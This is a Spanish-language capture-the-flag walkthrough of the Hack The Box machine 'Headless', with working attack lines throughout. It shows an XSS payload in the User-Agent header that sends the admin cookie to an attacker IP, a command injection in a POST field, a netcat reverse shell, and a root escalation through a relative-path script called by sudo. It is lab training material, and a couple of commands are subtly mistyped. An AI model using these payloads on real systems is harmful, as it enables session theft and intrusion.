machine

Enumeración

Escaneo de puertos:

nmap -p- --open --min-rate 5000 -vvv -sS -n -Pn 10.10.11.8
Host is up, received user-set (0.28s latency).
Scanned at 2024-07-02 14:28:11 -03 for 18s
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
5000/tcp open  upnp    syn-ack ttl 63

Detectamos versión y servicio de los puertos abiertos:

nmap -sCV -p22,5000 10.10.11.8
PORT     STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Tue, 02 Jul 2024 17:25:04 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Under Construction</title>
|     <style>
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f7f7f7;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     height: 100vh;
|     .container {
|     text-align: center;
|     background-color: #fff;
|     border-radius: 10px;
|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
|   RTSPRequest: 
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>

Si accedemos al sitio, vemos lo siguiente:

headless

Inspeccionamos las tecnologías que está usando la web:

headless

Realizamos fuzzing para intentar encontrar directorios ocultos:

gobuster dir -u http://10.10.11.8:5000 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50

headless

Si intentamos acceder a /dashboard, no tenemos permisos:

headless

Si accedemos al apartado de /support, vemos el siguiente formulario:

headless

Probamos cargar datos y pasa sin problemas. Ahora, intentamos en el campo Message poner lo siguiente para testear si es vulnerable a XSS:

<script>alert("XSS")</script>

Vemos que nos bloquea con el siguiente mensaje:

headless

Por lo visto, se envía una alerta al Administrador para que la revise. Eso quiere decir que el Administrador está logueado, por lo que podemos intentar obtener su cookie de sesión. Esto será posible ya que Httpnly está en False:

headless

Si intentamos decodificar el valor de la cookie, vemos que la primer parte se refiere a "user". Al resto lo toma como inválido:

headless

Intrusión

Obteniendo la cookie de sesión del usuario Administrador

Opción 1

Capturamos la request al panel de Support con Burpsuite. Para obtener la sesión del usuario administrador, debiéramos insertar el código en un lugar donde no se dispare el bloqueo. Indagando un poco en internet, notamos que podemos hacer uso del header User-Agent (quizás el decode de la cookie anterior era una pista).

Primero, vamos a levantar un servidor web con Python:

python3 -m http.simple 80

Luego, vamos a generar una nueva alerta para que la solicitud sea enviada al Administrador, pero en el User-Agent, vamos a especificar lo siguiente:

User-Agent: <img src=x onerror=fetch('http://10.10.16.4/'+document.cookie);>

headless

Esperamos un poco, cuando el administrador ingrese a validar la alerta, recibiremos su cookie de sesión:

headless

/is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

headless

Opción 2

Otra opción es crear un archivo, por ejemplo test.js con el siguiente contenido:

var request = new XMLHttpRequest();
request.open('GET', 'http://10.10.16.4/cookie=' + document.cookie);
request.send();

Y en User-Agent especificarlo de esta forma:

User-Agent: <script src="http://10.10.16.4/test.js"></script>

El resultado es el mismo:

headless

Impersonalizando al usuario admin

Si ahora modificamos el valor obtenido en el campo Value para impersonalizar al usuario admin y recargamos el Dashboard, lo veremos:

headless

Ejecución remota de código

Si hacemos click en Generate Report, vemos como resultado un Systems are up and running!. Vamos a capturar nuevamente la request con Burpsuite.

Al lado del campo date que se tramita por POST en la request, vamos a probar poner punto y coma, y seguido un comando como por ejemplo, whoami:

headless

Vemos que nos representa el usuario dvir.

Obteniendo una Reverse Shell

Nos quedamos a la escucha con netcat en el puerto 443 y ejecutamos lo siguiente:

date=2023-09-15;nc -e /bin/bash 10.10.16.4 443

headless

Obtenemos la Shell:

headless

Hacemos un tratamiento de la TTY, y luego vemos la primer flag:

headless

Escalación de privilegios

Si ejecutamos sudo -l, vemos que cualquier usuario puede ejecutar usr/bin/syscheck como root sin especificar contraseña:

headless

El script es el siguiente. Primero valida si somos root (EUID es el User ID, y es 0 si hace referencia a root). Luego, hace una serie de validaciones a nivel sistema como el tiempo de modificación del kernel, el espacio en disco, el promedio de carga del sistema y el estado de un servicio de base de datos (initdb.sh):

#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

Vamos a ejecutarlo:

headless

Vemos en el script que para validar si el servicio de la base de datos está corriendo, consulta el script initdb.sh, pero si lo buscamos, no existe:

headless

Por lo tanto, vamos a crearlo dentro de nuestro home. Especificaremos que se ejecute una /bin/bash. Como esto será ejecutado por root, obtendremos la shell al correr el script:

echo "/bin/bash" > initdb.sh
chmod +x initdb.sh
sudo /usr/bin/syscheck

headless

Otra opción hubiese sido darle permisos SUID a /bin/bash y luego ejecutarla:

echo "chmod u+s /bin/bash"
sudo /usr/bin/syscheck
/bin/bash -p

headless

Desde aquí vemos la siguiente flag:

headless


Published

Category

HTB

Tags